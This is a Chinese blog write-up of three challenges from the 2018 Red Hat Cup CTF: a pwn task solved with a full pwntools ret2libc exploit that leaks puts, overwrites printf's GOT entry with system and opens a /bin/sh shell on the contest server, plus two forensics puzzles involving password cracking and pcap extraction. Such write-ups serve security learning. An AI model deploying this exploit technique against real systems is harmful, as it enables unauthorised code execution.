美文网首页
2018红帽杯

2018红帽杯

作者: cceb9d5a8577 | 来源:发表于2018-05-01 13:36 被阅读521次

    pwn--game server

    拿到题目按照国际惯例先checksec和IDA一波

    image image 发现只开了nx保护,这样的题目一般都是ret2libc了,观察题目,发现第33行的地方有溢出点,通过read函数可以向s里面写nbytes个字节,同时在第21行nbytes又可以被name和occupation这个两个变量的大小所影响,因为snprintf函数是有这个漏洞的: image

    s的栈空间大小是0x111,那么我们让nbytes的大小远超过0x111,就可以实现溢出。

    溢出后就需要考虑用那种方式去getshell了,通过调试发现,溢出一次后并不能返回main函数,因此我们只有一次构造溢出的机会,那么这个时候就只能用gadget了,我们可以查到这些gadget:

    image

    我们这里需要用到的gadget是:pop ebp ret和pop esi ; pop edi ; pop ebp ; ret,利用他们来保存栈平衡,

    接着构造paylode首先执行puts函数将puts的真正地址打印出来,接着执行read函数将system的地址写到printf的got表中,接着再执行read函数将/bin/sh参数读入bss段中,最后在执行printf函数也就是相对于执行了system(/bin/sh)

    完整的exp如下:

    coding:utf-8
    from pwn import *
    context.log_level = 'debug'
    #p = process('./pwn2')
    p = remote('123.59.138.180',20000)
    elf = ELF("./pwn2")
    
    read_plt = elf.plt["read"]
    print "read_plt:"+hex(read_plt)
    puts_got = elf.got["puts"]
    print "puts_got:"+hex(puts_got)
    puts_plt = elf.plt["puts"]
    print "puts_plt:"+hex(puts_plt)
    
    p_ebp_ret=0x0804881b# : pop ebp ; ret
    p_ebx_ret=0x0804841d# : pop ebx ; ret
    ppp_ret=0x08048819# : pop esi ; pop edi ; pop ebp ; ret
    bss= elf.bss()
    
    payload1 = 'a'*0xfc
    p.recvuntil('name?\n')
    p.sendline(payload1)
    
    payload2 = 'b'*0xfc
    p.recvuntil('occupation?\n')
    p.sendline(payload2)
    
    payload3 = 'Y'
    p.recvuntil('[Y/N]\n')
    p.sendline(payload3)
    
    payload4 = 'a'*0x111+"aaaa"+ p32(puts_plt) + p32(p_ebp_ret) + p32(puts_got)
    payload4 += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(elf.got['printf']) + p32(4) 
    payload4 += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(bss) + p32(8) 
    payload4 += p32(elf.plt['printf']) + p32(0xdeadbeef) + p32(bss)
    p.sendline(payload4)
    
    p.recvuntil('\n')
    p.recvuntil('\n')
    p.recvuntil('\n')
    sleep(0.1)
    
    puts_addr = u32(p.recv(4)) #0xf7585140
    print hex(puts_addr)
    #这里得到puts函数真正地址的后四位是5140
    #通过在网上查找,可以找到对应的libc版本和system、puts的偏移量:
    offset_puts = 0x05f140
    offset_system = 0x03a940
    libc_base = puts_addr - offset_puts
    system_addr = libc_base + offset_system
    
    p.send(p32(system_addr))
    p.send('/bin/sh\x00')
    p.interactive()
    

    misc-听说你们喜欢手工爆破**

    看这个题目标题,就知道应该是爆破了,拿到一个iso文件,解压一波,发现一大堆txt文件和一个rar压缩包:

    image 其中txt的内容都一样的,因此是没有叼用的,rar压缩包有密码,要手工爆破,根据目前知道的信息就应该是拿文件名一个个去试密码了,但是500个txt手工试密码不现实,直接提取出来,做成字典再用工具去字典爆破它就行了 image 得到密码后解出一个doc文档,又有密码,这个时候我们就只能直接爆破了: image

    爆破出来后发现里面一段文字,通过调隐藏文字,调背景颜色都没有发现flag,那就说明还有一段要解的地方

    image

    可以看到关键点在这:

    “她现在住在F5街区F5街道07号幢,并给他邮箱发了新家里的门禁解锁代码:“123654AAA678876303555111AAA77611A321”,

    看起来像是一段密码,但是看不出什么密码,于是想到最开始的“情系海边之城.rar”百度一波发现

    image

    这是一个曼彻斯特码,然后疯狂百度谷歌,找到了一些解码的脚本,改一改就可以直接解出flag了,需要注意的是,在解的过程中,需要与关键点“F5F507”做比较,一般来说,包含这一段的才是正确的flag,毕竟曼彻斯特码有两种编码方式

    image

    misc-Not Only Wireshark

    打开发现是一个流量包,扔到wireshark,观察了好久没有看出什么东西,


    image.png

    最后发现,有很多name=xxx,就打算提取出来,提取的话可以用tshark工具


    image.png image.png

    提出来以后,感觉前面有点像一个zip压缩包的文件头“504B0304”,于是把123改成5,写到一个文件里面去,发现真的得到一个zip文件:


    image.png image.png

    这个时候又发现需要密码才能解压出flag,于是回到流量包,直接查找key的字符串,就发现了密码,密码就是“?id=1128%23”


    image.png

    flag就得到了,这道题真是气人啊。。。。之前还提取出了好几张png图片疯狂分析


    image.png

    相关文章

      网友评论

          本文标题:2018红帽杯

          本文链接:https://www.haomeiwen.com/subject/gxbxrftx.html